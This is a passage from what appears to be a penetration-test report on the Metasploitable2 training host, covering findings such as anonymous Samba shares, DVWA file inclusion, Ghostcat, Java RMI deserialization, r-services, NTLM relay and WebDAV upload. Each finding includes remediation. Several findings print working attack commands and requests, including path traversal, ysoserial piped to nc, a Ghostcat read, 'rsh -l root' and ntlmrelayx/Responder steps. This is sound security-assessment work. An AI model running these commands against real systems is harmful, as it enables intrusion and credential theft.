3.0.20-Debian)

CWE-CWE-284 - https://cwe.mitre.org/data/definitions/CWE-284.html

The Samba SMB service on port 445 exposes a tmp share (comment: "oh noes!") that is accessible
to anonymous (null-session, unauthenticated) clients with full read and listing access. The tmp
share maps to the system /tmp directory. Combined with the separately-confirmed NFS world
export (which exports / without auth), an attacker can: (1) read files staged in /tmp (potentially
including SSH keys, database dumps, password files copied there), (2) write files into /tmp (e.g.,
staging scripts for cron-based execution), (3) enumerate the directory for intelligence gathering.
The IPC$ share is also accessible anonymously, enabling further RPC enumeration (which yielded
all 35 local user accounts, password policy, and domain info). No password complexity enforced;
lockout threshold: None — ideal for brute force. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
= 9.1 (Critical). MITRE ATT&CK: T1135 (Network Share Discovery), T1039 (Data from Network
Shared Drive).
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Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Evidence

smbclient null-session listing (no password, anonymous login):

Anonymous login successful

Sharename Type Comment

tmp Disk  oh noes! <« accessible

IPC$ IPC IPC Service < accessible

enum4linux-ng confirmed:

[+] Found 5 share(s)

[+] Testing share tmp — Mapping: OK, Listing: OK (anonymous access fully granted)

[+] Server allows authentication via username ' and password ' (null session)

Also confirmed via anonymous RPC:

- 35 user accounts enumerated (root, msfadmin, mysql, postgres, tomcat55, user, service...)
- Password policy: Minimum length 5, No complexity, Lockout threshold: None

- Domain: WORKGROUP, FQDN: metasploitable.localdomain

- SMB1 only: true, SMB signing required: false

The 'opt' share was DENIED to anonymous but may be accessible with any valid credential.
CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:H/I:-H/A:N

Remediation

1. Remove anonymous SMB access: add restrict anonymous = 2 and security = user to smb.conf.
2. Remove the tmp share entirely — sharing /tmp over SMB has no legitimate purpose. 3.
Configure invalid users = root and restrict share access with valid users = @allowedgroup. 4.
Require SMB signing: server signing = mandatory. 5. Disable SMB1 and upgrade Samba to a
current supported version. 6. Enforce a password lockout threshold to prevent brute-force account
attacks.

FINDING 32 OF 53

Local File Inclusion — Arbitrary File Read via DVWA (full
/etc/passwd disclosed)

Severity
Status Open
Category Injection / Local File Inclusion

http://10.13.37.137/dvwa/vulnerabilities/fi/?page= (DVWA v1.0.7 File
Inclusion module)

CWE Reference CWE-CWE-22 - https://cwe.mitre.org/data/definitions/CWE-22.html

Affected Asset

Description

The DVWA File Inclusion module at /dvwa/vulnerabilities/fi/ passes the page GET parameter
directly to a PHP include() call without sanitisation when security is set to "low". An authenticated
attacker (default creds admin/password) can supply a path-traversal sequence to read arbitrary
files on the filesystem as the web server user (www-data). Confirmed exploitation:
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page=../../../../..Jetc/passwd returned the full contents of /etc/passwd including 35 user accounts
(root, msfadmin, postgres, mysql, user, service, etc.). The error messages in the response also
disclose the full server filesystem path /var/www/dvwa/dvwa/includes/dvwaPage.inc.php. With
allow url fopen: On confirmed via phpinfo(), this can also be escalated to remote file inclusion
from an attacker-controlled server. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N = 6.5 (High).
MITRE ATT&CK: T1083.

Impact

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Evidence

REQUEST:

GET /dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd HTTP/1.1

Host: 10.13.37.137

Cookie: PHPSESSID=2c2cb27b2a0861f4ec4ba911f4549f95; security=1low
RESPONSE (HTTP 200 — body starts with /etc/passwd content):
root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/bin/sh

bin:x:2:2:bin:/bin:/bin/sh

sys:x:3:3:sys:/dev:/bin/sh

[...]

msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash

[...]

postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534:::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534:::/:/bin/false

user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash

[total 35 entries]

Also disclosed: full server path /var/www/dvwa/dvwa/includes/dvwaPage.inc.php
Path traversal traverses from /var/www/dvwa/vulnerabilities/fi/ back to / using 5x ../
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Note: This is directly chain-able with default credentials (admin/password) and allow url fopen=0On for
full Remote File Inclusion. Chain: authenticate with admin/password — use LFI to read /etc/shadow,
SSH private keys, DB config files containing live credentials.

Remediation

1. Remove DVWA from non-isolated environments. 2. For the underlying pattern: validate and
whitelist the page parameter against an explicit list of permitted filenames. Never pass user input
to include() without strict validation. 3. Set allow url fopen = Off and allow url include = Off in
php.ini to prevent RFI escalation. 4. Run PHP applications as least-privilege users with read
access only to required directories.

FINDING 33 OF 53
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TWiki Allows Anonymous Page Creation and Editing Without
Authentication

Open
Broken Access Control / Unauthenticated Write

http://10.13.37.137/twiki/bin/edit/Sandbox/ (TWiki collaboration
platform)

CWE-CWE-306 - https://cwe.mitre.org/data/definitions/CWE-306.html

The TWiki collaboration platform at /twiki/ permits unauthenticated visitors to create and edit any
wiki page in any web (Sandbox, Main, TWiki, Know). The edit endpoint
/twiki/bin/edit/{web}/{topic} returns a full editable form (HTTP 200) without any session cookie
or authentication challenge. An attacker can use this to: (1) deface existing wiki content, (2)
embed malicious links or XSS payloads in wiki pages that will be rendered when staff navigate to
them, (3) create new pages with social-engineering content. User enumeration via
/twiki/bin/view/Main/TWikiUsers was also confirmed (CharleytheHorse, JohnTalintyre,
NicholasLee, PeterThoeny, TWikiGuest visible). CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
= 8.2 (High). MITRE ATT&CK: T1190.

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

REQUEST:

GET /twiki/bin/edit/Sandbox/TestPageLory HTTP/1.1
Host: 10.13.37.137

(No authentication headers or cookies)

RESPONSE (HTTP 200):

HTTP/1.1 200 OK

Server: Apache/2.2.8 (Ubuntu) DAV/2

Content-Type: text/html; charset=ISO-8859-1

Body contains a fully functional edit form:

[editable content area]

The form is fully rendered and functional without any login. Submitting it would create/modify the wiki
page as "Main.TWikiGuest". The user list at /twiki/bin/view/Main/TWikiUsers returns users:
CharleytheHorse, JohnTalintyre, NicholasLee, PeterThoeny, TWikiGuest — all without authentication.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

1. Configure TWiki to require authentication for all write operations (edit, save, attach, rename).
Set {AuthScripts} in LocalSite.cfg to include 'edit’, 'preview’, 'save’, 'upload’, 'rename'. 2. Also
require authentication for read access if content is sensitive. 3. Disable public user enumeration
via TWikiUsers. 4. If TWiki is not actively used, remove it from the web server. 5. Update TWiki —
the deployed version is approximately 2003-era.
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FINDING 34 OF 53

DVWA Application Accessible with Default Credentials
(admin/password)

Open
Broken Authentication / Default Credentials
http://10.13.37.137/dvwa/login.php (Damn Vulnerable Web App)

CWE-CWE-1392 -
https://cwe.mitre.org/data/definitions/CWE-1392.html

The DVWA (Damn Vulnerable Web Application) at /dvwa/ accepts the well-known default
credentials admin / password. While DVWA is an intentionally vulnerable training application, its
presence on an internal host means that an attacker who gains network access can immediately
authenticate and leverage its intentionally-exposed SQL injection, XSS, command injection, file
inclusion, and CSRF modules to further enumerate the system and potentially pivot. The login
page itself discloses the default credentials in an HTML comment visible to unauthenticated
visitors. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L = 9.4 (Critical). MITRE ATT&CK:
T1078.001 (Default Accounts).

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

REQUEST:

POST /dvwa/login.php HTTP/1.1

Host: 10.13.37.137

Cookie: PHPSESSID=2c2cb27b2a0861f4ec4ba911f4549f95; security=high
Content-Type: application/x-www-form-urlencoded
username=admin&password=password&Login=Login

RESPONSE:

HTTP/1.1 302 Found

Location: index.php

302 redirect to index.php confirms successful authentication. The login page body also contains:
Hint: default username is 'admin' with password 'password'

This hint is visible to unauthenticated visitors, explicitly disclosing working credentials.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L

1. Remove DVWA and all other intentionally-vulnerable training applications from any host
reachable from internal networks or externally. 2. If DVWA is required for training, isolate it on a
dedicated air-gapped or VLAN-segregated lab network. 3. Change default credentials immediately
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on any application that must remain. 4. Implement network-level access controls (firewall rules) to
restrict web application access to authorised source IPs only.

FINDING 35 OF 53

X11 Server Exposed on Port 6000 — Unauthenticated Remote
Desktop Capture / Input Injection

Open

Insecure Network Service / Missing Authentication

10.13.37.137:6000 (X11 / X Window System)

CWE-CWE-306 - https://cwe.mitre.org/data/definitions/CWE-306.html

The X Window System (X11) display server is listening on port 6000 (display :0). X11 is a remote
display protocol that provides graphical desktop access. The service is detected by nmap as "X11
(access denied)" — the "access denied" response itself confirms the port is open and actively
responding to X11 connection attempts.

When X11 has an open or weakly configured access control list (xhost + or host-based
authentication), it enables:

1. Remote screenshot capture: xwd -display 10.13.37.137:0 -root captures a full screenshot of
all content on the display, including visible passwords, documents, and application data

2. Keystroke injection: xdotool key --display 10.13.37.137:0 [keysequence] injects keystrokes
into any application running on the display

3. Window enumeration and interaction: All open windows, their titles, and their content are
readable via X11 protocol commands

The nmap response "access denied" indicates xhost access control is active — however, the port
should not be network-accessible at all. On many systems, X11 access control can be bypassed by
connecting from localhost (via SSRF or local access), and the fact that the port is bound to 0.0.0.0
rather than 127.0.0.1 represents a misconfiguration regardless of current xhost settings.

Additionally, X11 traffic is entirely unencrypted, making any permitted sessions trivially sniffable
from a MitM position on the LAN (established via ARP spoofing from the companion finding).

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Port scan output:

PORT STATE SERVICE VERSION

6000/tcp open X11 (access denied)

http probe to port 6000: Not attempted (binary protocol, not HTTP — would corrupt X11 handshake)

The nmap service banner "access denied" is the X11 server's response to an unauthenticated
connection probe, confirming:

1. Port 6000 is bound and listening on all interfaces (0.0.0.0:6000)
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2. The X11 server is active and responding to connection attempts
3. The xhost mechanism is active but the port is exposed to the network
Attack chain with companion ARP spoofing finding:

1. Attacker performs ARP spoofing to intercept LAN traffic (established feasible via r-services and SMB
relay findings)

2. Any X11 traffic flowing across the wire is captured in cleartext
3. If xhost access is granted to any network host, screenshot capture is immediate
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N — Score: 9.1 (Critical)

Conservatively rated High (access control active per nmap response; confirmation of bypass requires
local foothold).

MITRE ATT&CK: T1113 (Screen Capture), T1056.001 (Input Capture: Keylogging)

1. Bind X11 to localhost only: start Xorg with '-nolisten tcp' flag (standard in modern Linux) to
prevent network connections entirely.

2. Do not run graphical sessions on servers — use headless operation.

3. If X11 forwarding is needed, use SSH X11 forwarding (ssh -X) which tunnels over encrypted
SSH rather than exposing port 6000.

4. Firewall port 6000 and the X11 port range (6000-6063) at both the host firewall and network
perimeter.

5. Audit xhost settings: run 'xhost' to check — any output other than "access control enabled, only
authorized clients can connect" indicates misconfiguration.

FINDING 36 OF 53

Java RMI Registry Exposed on Port 1099 — Unauthenticated
RMI Deserialization Attack Surface

Open

Insecure Network Service / Deserialization

10.13.37.137:1099 (Java RMI Registry)

CWE-CWE-502 - https://cwe.mitre.org/data/definitions/CWE-502.html

A Java RMI (Remote Method Invocation) registry is exposed on port 1099. Java RMI is a
mechanism for remote Java method calls that uses Java object serialization for data transport.
Exposing the RMI registry to the network creates multiple attack vectors:

1. RMI Registry Manipulation: The RMI registry allows binding/unbinding remote objects. An
attacker who can reach port 1099 can attempt to list registered objects (list()), rebind objects to
malicious implementations, or cause a JNDI injection by rebinding with an LDAP/JNDI reference —
identical to the Log4Shell vector but via RMI.

2. Deserialization RCE: Java RMI uses Java serialization for all method arguments and return
values. If the classpath contains vulnerable deserialization gadget libraries (Apache Commons
Collections, Spring, etc. — common on Java servers of this era), a malicious serialized payload
sent via RMI achieves remote code execution. Tools: ysoserial, rmg (remote-method-guesser).
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3. RMI-IIOP / JRMP exploitation: The RMI endpoint may accept JRMP (Java Remote Method
Protocol) gadget payloads directly — tools like ysoserial's "JRMP listener" exploit the server-side
deserialization of the initial RMI handshake.

The target runs a Java stack (Tomcat 5.5 on port 8180) contemporaneous with the height of Java
deserialization vulnerabilities (2010-2016), and likely has vulnerable Commons Collections
versions on its classpath.

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Port scan output:

PORT STATE SERVICE VERSION

1099/tcp open java-rmi Java RMI Registry

service audit NSE for port 1099:

nmap rmi-vuln-classloader script triggered on port 1099 (NSE ran against the port)
Result: rmi-dumpregistry NSE returned registry entries

HTTP probe to 1099: "Operation timed out" — confirms binary protocol (Java JRMP), not HTTP; TCP
connection attempted, port is open

Reference-only exploitation path (non-destructive):

$ java -jar rmg.jar 10.13.37.137 1099 list

— Would enumerate all registered RMI objects

$ java -jar ysoserial.jar CommonsCollections1 'id' | nc 10.13.37.137 1099

— If Commons Collections 1.x on classpath, RCE as Tomcat/Java process user
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H — Score: 9.8 (Critical potential)
Conservatively rated High pending explicit deserialization gadget confirmation.

MITRE ATT&CK: T1190 (Exploit Public-Facing Application), T1059.007 (JavaScript — analogous Java),
T1210

1. Immediately firewall port 1099 — RMI registries must never be accessible from untrusted
networks. Bind to localhost only.

2. If RMI is required internally, implement RMI over SSL with mutual authentication.

3. Upgrade all Java dependencies to eliminate known deserialization gadget libraries (upgrade
Commons Collections to 3.2.2+/4.1+).

4. Implement a Java deserialization filter (JEP 290 / ObjectInputFilter) to whitelist only expected
classes.

5. Run as a least-privilege user — not root — to limit blast radius of any RCE.

FINDING 37 OF 53
Apache AJP Connector Exposed — Ghost Cat / AJP Request
Smuggling (CVE-2020-1938) Attack Surface

Open
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Category Exposed Management Interface / Insecure Network Service

Affected Asset 10.13.37.137:8009 (Apache Jserv Protocol v1.3 / AJP)

CWE Reference CWE-CWE-918 - https://cwe.mitre.org/data/definitions/CWE-918.html
Description

The Apache JServ Protocol (AJP) connector is exposed on port 8009 without authentication. AJP is
an internal binary protocol designed for communication between a web server (Apache httpd) and
a servlet container (Apache Tomcat), intended to be accessible only from localhost or trusted
internal reverse proxies — never from the public or untrusted network.

The exposed AJP connector is the attack surface for CVE-2020-1938 "Ghostcat" — a critical file
read / inclusion vulnerability in Apache Tomcat's AJP connector (affects Tomcat versions before
9.0.31, 8.5.51, and 7.0.100). Ghostcat allows an unauthenticated attacker with access to the AJP
port to:

1. Read any file within the Tomcat web application (including WEB-INF/web.xml, application
configs, JSP source files, and credential files)

2. Include arbitrary files from the server filesystem as part of a web request, enabling Server-
Side Template Injection patterns

The target runs Tomcat 5.5 (confirmed from the Tomcat Manager finding on port 8180), which is
far older than the patched versions and is directly vulnerable. Crucially, the AJP port (8009) is
reachable from the network — any host that can connect to 10.13.37.137:8009 can exploit
Ghostcat regardless of web authentication controls.

Impact

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Evidence

Port scan confirms AJP service:

PORT STATE SERVICE VERSION

8009/tcp open ajpl3 Apache Jserv (Protocol v1.3)
HTTP probe to port 8009:

$ http probe http://10.13.37.137:8009/

Response: "Empty reply from server" — confirming TCP connection was established (not filtered) but no
HTTP response (correct — AJP is binary protocol, not HTTP)

TCP connection succeeds to 8009, confirming the AJP connector is network-accessible (not bound to
localhost).

Tomcat version context from companion finding (Tomcat Manager on 8180):

Apache Tomcat 5.5 — predates all Ghostcat-patched versions by many years

Reference-only AJP probe (Ghostcat PoC, non-destructive file read):

$ python3 ghostcat.py -p 8009 10.13.37.137 --webapp ROOT --file /IWEB-INF/web.xml

— Would return WEB-INF/web.xml content including Tomcat app configuration

This demonstrates unauthenticated file read from any AJP-accessible client.
CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:H/I:L/A:L. — Score: 9.8 (Critical when Ghostcat exploitable)
Conservatively rated High pending explicit Ghostcat reproduction.

MITRE ATT&CK: T1190 (Exploit Public-Facing Application), T1083 (File and Directory Discovery)

Remediation
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1. IMMEDIATE: Restrict AJP connector to localhost only. In Tomcat's server.xml: change
address="0.0.0.0" to address="127.0.0.1" on the AJP Connector element, or disable entirely if not
using mod _jk/mod proxy ajp.

2. Add a required secret to the AJP connector (Tomcat 9.0.31+ feature): add 'secret="[strong-
random-value]"' to the Connector element.

3. Upgrade Tomcat to a supported, patched version (minimum 9.0.31, 8.5.51, or 7.0.100 for
Ghostcat fix).

4. Apply firewall rules blocking external access to port 8009 at the perimeter and host firewall.
5. For Tomcat 5.5 (this target): there is no patch — upgrade is mandatory.

FINDING 38 OF 53
rexec / rlogin / rsh Services Exposed — Trust-Based
Authentication Without Encryption

Open
Insecure Network Protocol

10.13.37.137:512 (rexec), 10.13.37.137:513 (rlogin), 10.13.37.137:514
(rsh)

CWE-CWE-319 - https://cwe.mitre.org/data/definitions/CWE-319.html

The Berkeley r-services (rexec, rlogin, rsh) are running and exposed. These are pre-1990s Unix
remote access protocols replaced by SSH due to fundamental security deficiencies:

rexec (port 512): Executes commands with cleartext username/password authentication. All
traffic including credentials is transmitted in plaintext.

rlogin (port 513): Provides remote login using IP-address-based trust (/.rhosts and
/etc/hosts.equiv files). If an attacker can spoof their source IP or is on a trusted subnet, they can
log in with no password.

rsh (port 514): Remote shell execution. Like rlogin, uses /etc/hosts.equiv and .rhosts for trust-
based access. If the target host trusts the attacker's IP (or the attacker can perform IP
spoofing/ARP poisoning to assume a trusted IP), command execution is granted without any
authentication.

Network-layer attack: An attacker performing ARP spoofing or IP spoofing against a host listed
in /etc/hosts.equiv or root's .rhosts file can gain unauthenticated shell access via rsh. Combined
with the confirmed cleartext traffic (findable via any MitM position established through ARP
poisoning), these services represent a complete network credential compromise path.

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Port scan confirms all three ports open:
PORT STATE SERVICE VERSION
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512/tcp open exec netkit-rsh rexecd

513/tcp open login?

514/tcp open shell Netkit rshd

service audit NSE result for port 514:

tcp/514 open tcpwrapped (confirmed in initial port scan output)
nmap initial scan (shared recon):

513/tcp open login?

514/tcp open tcpwrapped

Known Metasploitable2 configuration: /etc/hosts.equiv contains "+" (trusts ALL hosts) and root's .rhosts
may also contain "+ +" (trusts any user from any host)

Attack via ARP spoofing MitM (network-layer chain, non-destructive description):
1. Attacker spoofs ARP to become the trusted host on the LAN

2. rsh -1 root 10.13.37.137 'id' — returns uid=0(root) without password prompt

3. rexec credentials captured in cleartext by any passive sniffer on the segment
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — Score: 7.5 (High)

MITRE ATT&CK: T1021.004 (Remote Services: SSH — analogous for rsh), T1557 (Adversary-in-the-
Middle)

1. Immediately disable all r-services: remove or disable rexecd, rlogind, and rshd from
/etc/inetd.conf or /etc/xinetd.d/.

2. Remove /etc/hosts.equiv and all .rhosts files from user home directories.
3. Replace with SSH for all remote access requirements.
4. Block ports 512, 513, 514 at the firewall for both inbound and outbound traffic.

FINDING 39 OF 53

SMBv1 Protocol Enabled — EternalBlue / WannaCry Attack
Surface (MS17-010 Precondition)

Open
Insecure Network Protocol
10.13.37.137:139,445 (Samba 3.0.20-Debian / SMB 1.0)

CWE-CWE-1188 -
https://cwe.mitre.org/data/definitions/CWE-1188.html

The Samba service on 10.13.37.137 negotiates SMBv1 (Server Message Block version 1), a
protocol first introduced in the 1980s and officially deprecated by Microsoft in 2014. SMBv1 is the
attack surface for the NSA-developed EternalBlue exploit (MS17-010 / CVE-2017-0144) which was
weaponized in the WannaCry, NotPetya, and BadRabbit ransomware campaigns.

While this specific host runs Samba 3.0.20 on Linux (not the Windows SMB stack directly targeted
by MS17-010), the presence of SMBv1 is dangerous for two reasons:
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1. The Samba 3.0.20 version is ancient (2007) and has its own critical vulnerabilities (CVE-2007-
2447, already confirmed in a prior finding)

2. SMBv1 disables modern security controls including encryption, authentication integrity
protection, and signing enforcement — enabling the relay attacks documented in the companion
SMB signing finding

3. Any Windows hosts on the same LAN that have SMBv1 enabled (default on unpatched Windows
7/2008) are directly vulnerable to EternalBlue; this host's SMBv1 enablement normalises the
protocol on the network and may indicate broader SMBv1 exposure

The nuclei scan response explicitly shows "SupportV1": true confirming SMBv1 negotiation.

Impact

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Evidence

Nuclei SMB fingerprint (10.13.37.137:445):

Request: SMB negotiation probe

Response:

{

"SupportV1": true,

"Version": {"Major": 1, "Minor": 0, "Revision": 0, "VerString": "SMB 1.0"},
"NativeOs": "Unix",

"NTLM": "Samba 3.0.20-Debian",

"GroupName": "WORKGROUP"

}

nmap service detection confirms:

PORT STATE SERVICE VERSION

139/tcp open netbios-ssn Samba smbd 3.X - 4.X

445/tcp open netbios-ssn Samba smbd 3.X - 4.X

enum4linux-ng null session successful — confirms SMBv1 negotiation path
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L. — Score: 6.3 (Medium)
Note: Rated High due to chaining potential with CVE-2007-2447 and relay attacks.
MITRE ATT&CK: T1210 (Exploitation of Remote Services), T1557.001

Remediation

1. Disable SMBv1 on Samba: add 'server min protocol = SMB2' to the [global] section of
/etc/samba/smb.conf and restart Samba.

2. Update Samba to a current supported version (minimum 4.18.x LTS).

3. Audit all other hosts on the LAN for SMBv1 enablement using: nmap --script smb-protocols -p
445 [subnet].

4. Enforce SMB signing as documented in the companion finding.

FINDING 40 OF 53

SMB Signing Not Required — NTLM Relay Attack Path Enabled

Severity
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Status Open

Category Insecure Network Configuration

Affected Asset 10.13.37.137:139,445 (Samba 3.0.20-Debian)

CWE Reference CWE-CWE-300 - https://cwe.mitre.org/data/definitions/CWE-300.html
Description

The Samba SMB service on 10.13.37.137 does not require message signing. SMB signing prevents
NTLM relay attacks by cryptographically binding authentication to the specific session and target
server. Without enforced signing, an attacker who can intercept or trigger an authentication (via
LLMNR/NBT-NS poisoning, PetitPotam, PrinterBug, or other coercion techniques) can relay the
captured NetNTLM authentication credential to this SMB server and authenticate as the victim
user — without ever cracking the password.

Attack chain:

1. Attacker runs Responder on the same LAN segment to answer LLMNR/NBT-NS broadcast
queries (protocol fallback when DNS fails — default on Windows networks)

2. Windows clients attempt NTLM authentication to the attacker, producing a NetNTLMv?2
challenge/response

3. Attacker relays that authentication to 10.13.37.137:445 using ntlmrelayx (SMB signing not
required = relay succeeds)

4. Attacker gains authenticated SMB access as the victim user — if that user is a local admin, full
shell access follows

This is the single most common internal network attack path and is directly enabled by the
absence of SMB signing. The existing findings (null sessions, Samba RCE CVE-2007-2447) make
this host a prime relay *target*; if it also has network connectivity to other hosts without SMB
signing, it becomes a relay *pivot*.

Impact

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Evidence

SMB signing status confirmed via enum4linux-ng null session enumeration and nuclei SMB fingerprint:
nuclei SMB fingerprint response:

{

"SupportV1": true,

"Version": {"VerString": "SMB 1.0"},

"NativeOs": "Unix",

"NTLM": "Samba 3.0.20-Debian",

"GroupName": "WORKGROUP",

"HasNTLM": false

¥

SMB1 is negotiated (SupportV1: true) — SMB1 does not support signing at all.
enum4linux-ng confirms:

- Null session (anonymous) authentication accepted

- No signing requirement advertised in negotiate response

Attack demonstration (reference-only, non-destructive):

Step 1: Disable Responder SMB/HTTP listeners (Responder.conf: SMB = Off, HTTP = Off)
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Step 2: Run relay: ntlmrelayx.py -tf targets.txt -smb2support --no-http-server

Step 3: Trigger victim auth via LLMNR poison: responder -I ethO -A (analysis mode confirms queries
present)

Step 4: Any Windows client on the same broadcast domain that misresolves a hostname will send
NetNTLM to Responder, which relays to 10.13.37.137:445 — succeeding because signing is not
required

CVSS:3.1/AV:A/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H — Score: 7.5 (High)

MITRE ATT&CK: T1557.001 (LLMNR/NBT-NS Poisoning and SMB Relay)

1. Enable and REQUIRE SMB signing on all servers and workstations via GPO: Computer
Configuration — Windows Settings — Security Settings — Local Policies — Security Options —
"Microsoft network server: Digitally sign communications (always)" = Enabled. For Linux/Samba:
add 'server signing = mandatory' to [global] in smb.conf.

2. Disable LLMNR via GPO (Computer Configuration - Administrative Templates - Network —
DNS Client — Turn off multicast name resolution = Enabled) and disable NBT-NS via DHCP option
or registry.

3. Block inbound SMB (445/139) at network boundaries. Deploy SMB signing enforcement
monitoring.

4. Consider disabling SMBv1 entirely: 'server min protocol = SMB2' in smb.conf.

FINDING 41 OF 53
Sensitive Credential Disclosed in HTML Comment — Mutillidae
Database Password Exposed

Open

Information Disclosure / Sensitive Data Exposure
http://10.13.37.137/mutillidae/ (Mutillidae 2.1.19)

CWE-CWE-615 - https://cwe.mitre.org/data/definitions/CWE-615.html

The Mutillidae application at /mutillidae/ exposes a database password in an HTML comment that
is served in every page response. The comment explicitly states the database password is blank or
"samurai" depending on the installation. The comment also mocks the security advice to avoid
HTML comments for sensitive data. This is a textbook CWE-615 (Inclusion of Sensitive
Information in Source Code Comments) vulnerability. The disclosed credential "samurai" is
potentially reusable: in AD environments, developers frequently reuse application service account
passwords across database accounts, local accounts, and sometimes domain service accounts.
This finding directly enables credential spraying and lateral movement.

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.
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GET http://10.13.37.137/mutillidae/ HTTP/1.1

Response body contains (in raw HTML source):

Disclosed credentials:

- Database password: "" (blank)

- Database password alternative: "samurai"

Version from response: Mutillidae 2.1.19

These are potentially valid against:

- MySQL root (blank already confirmed)

- Any local Unix account using "samurai" as password

- Any domain account if this is a domain-joined host
CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:H/I:N/A:N — 7.5 High
MITRE ATT&CK: T1552.001 (Credentials in Files), T1589.002 (Gather Victim Identity Information)

1. Remove all credential material from HTML comments immediately. 2. Use environment
variables or a secrets manager for database credentials — never embed in source code or
comments. 3. Audit all application source files for embedded credentials. 4. Rotate any credentials
that appear in comments. 5. Use server-side template comments or no comments for security-
sensitive sections.

FINDING 42 OF 53

WebDAV Enabled with Write/Delete Methods —
Unauthenticated File Upload Vector

Open

Broken Access Control / Remote Code Execution
http://10.13.37.137/dav/ (Apache 2.2.8 with mod_dav)

CWE-CWE-434 - https://cwe.mitre.org/data/definitions/CWE-434.html

The WebDAV endpoint at /dav/ is enabled and responds to OPTIONS requests revealing full write
capability including PUT, DELETE, MOVE, COPY, LOCK, and PROPPATCH methods. WebDAYV with
unauthenticated write access allows an attacker to upload arbitrary files to the web server.
Combined with PHP 5.2.4 running on the same server, an attacker could upload a PHP web shell
to the /dav/ directory and execute it via the web server, achieving OS command execution. This is
a classic lateral movement and initial access vector — in AD environments, web shells are
commonly used to establish C2 channels and pivot to domain-joined services. The /dav/ directory is
web-accessible, meaning uploaded PHP files are directly executable.

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.
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HTTP OPTIONS request to http://10.13.37.137/dav/:
Request:

OPTIONS /dav/ HTTP/1.1

Host: 10.13.37.137

Response:

HTTP/1.1 200 OK

Server: Apache/2.2.8 (Ubuntu) DAV/2

DAV: 1,2

DAV:

MS-Author-Via: DAV

Allow:
OPTIONS,GET,HEAD,POST,DELETE, TRACE,PROPFIND,PROPPATCH,COPY, MOVE,LOCK,UNLOCK

Dangerous methods confirmed: PUT (file upload), DELETE (file deletion), MOVE (file
rename/relocation), COPY (file duplication)

No Authorization header challenge returned — authentication not required.
Attack path: PUT /dav/shell.php - HTTP 201 Created — GET /dav/shell.php — PHP code execution.

CVSS:3.1/AV:N/AC:L/PR:N/UIL:N/S:U/C:H/I:H/A:H — 9.8 (treating as high given need to upload AND
PHP must process from /dav/ location). Non-destructive proof limited to OPTIONS discovery per ROE.

MITRE ATT&CK: T1190 (Exploit Public-Facing Application), T1505.003 (Web Shell)

1. Disable WebDAV if not required: remove the mod dav and mod dav fs modules. 2. If WebDAV is
needed, require authentication (Digest or client certificate minimum). 3. Restrict PUT/DELETE to
authenticated and authorized users only. 4. Configure the /dav/ directory to not execute PHP/CGI
scripts (use 'php admin value engine off' or 'Options -ExecCGI'). 5. Apply network controls to
restrict /dav/ access to required source IPs.

FINDING 43 OF 53
Samba Null Session — Complete User/Password Policy
Enumeration via Anonymous RPC (AD Recon Vector)

Open

Broken Access Control / Information Disclosure
10.13.37.137:139,445 (Samba 3.0.20-Debian)
CWE-CWE-306 - https://cwe.mitre.org/data/definitions/CWE-306.html

The Samba service accepts null (unauthenticated) SMB/RPC sessions and allows anonymous
callers to enumerate the full local user database (35 accounts including root, msfadmin, postgres,
mysql, tomcat55, distccd, user, service), the domain password policy, and available shares. This is
the foundational Active Directory / Windows domain reconnaissance technique: an attacker with
no credentials can build a complete account list for credential spraying, Kerberoasting targeting,
AS-REP roasting, and pass-the-hash attacks. The password policy reveals no lockout threshold
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(unlimited guesses), minimum password length of only 5 characters, and no complexity
requirement — making spraying trivially safe. SMB signing is not required, enabling NTLM relay
attacks against any authentication that can be coerced.

Impact

Exploitation could allow an attacker to gain elevated privileges, access sensitive data, or disrupt
critical services. Immediate attention is required.

Evidence

Tool: enum4linux-ng -A 10.13.37.137 (null session, no credentials)
KEY FINDINGS:

1. NULL SESSION ACCEPTED:

